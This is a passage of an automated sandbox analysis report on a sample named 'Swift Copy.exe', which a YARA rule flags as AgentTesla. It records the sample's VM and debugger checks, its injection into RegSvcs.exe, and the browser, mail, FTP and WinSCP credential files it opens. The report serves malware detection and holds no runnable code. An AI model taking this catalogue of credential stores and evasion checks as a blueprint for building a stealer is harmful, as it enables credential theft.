Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\Swift Copy.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-97642

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Swift Copy.exe

API/Special instruction interceptor: Address: ED3244

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1623			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 8245			Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy.exe

API coverage: 3.8 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DDDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00DDDBBE
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE68EE FindFirstFileW,FindClose,	0_2_00DE68EE
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00DE698F
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DDD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00DDD076
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DDD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00DDD3A9
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00DE9642
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00DE979D
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00DE9B2B
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DE5C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00DE5C97

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00D742DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00D742DE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98998	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98823	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98169	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97620	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96530	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94778	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94562	Jump to behavior

Source: RegSvcs.exe, 00000001.00000002.4146234041.00000000065B0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DEEAA2 BlockInput,

0_2_00DEEAA2

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DA2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00DA2622

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00D742DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00D742DE

Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D94CE8 mov eax, dword ptr fs:[00000030h]	0_2_00D94CE8
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00ED34B0 mov eax, dword ptr fs:[00000030h]	0_2_00ED34B0
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00ED3510 mov eax, dword ptr fs:[00000030h]	0_2_00ED3510
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00ED1E70 mov eax, dword ptr fs:[00000030h]	0_2_00ED1E70

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DD0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_00DD0B62

Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DA2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00DA2622
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D9083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D9083F
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D909D5 SetUnhandledExceptionFilter,	0_2_00D909D5
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00D90C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00D90C21

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Swift Copy.exe

Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Swift Copy.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 10B0008

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy.exe

0_2_00DD1201

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DB2BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00DB2BA5

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DDB226 SendInput,keybd_event,

0_2_00DDB226

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DF22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

0_2_00DF22DA

Source: C:\Users\user\Desktop\Swift Copy.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Swift Copy.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy.exe

0_2_00DD0B62

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DD1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00DD1663

Source: Swift Copy.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Swift Copy.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00D90698 cpuid

0_2_00D90698

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DE8195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

0_2_00DE8195

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DCD27A GetUserNameW,

0_2_00DCD27A

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00DABB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00DABB6F

Source: C:\Users\user\Desktop\Swift Copy.exe

Code function: 0_2_00D742DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00D742DE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Swift Copy.exe.ee0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4142550881.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy.exe PID: 1060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2840, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
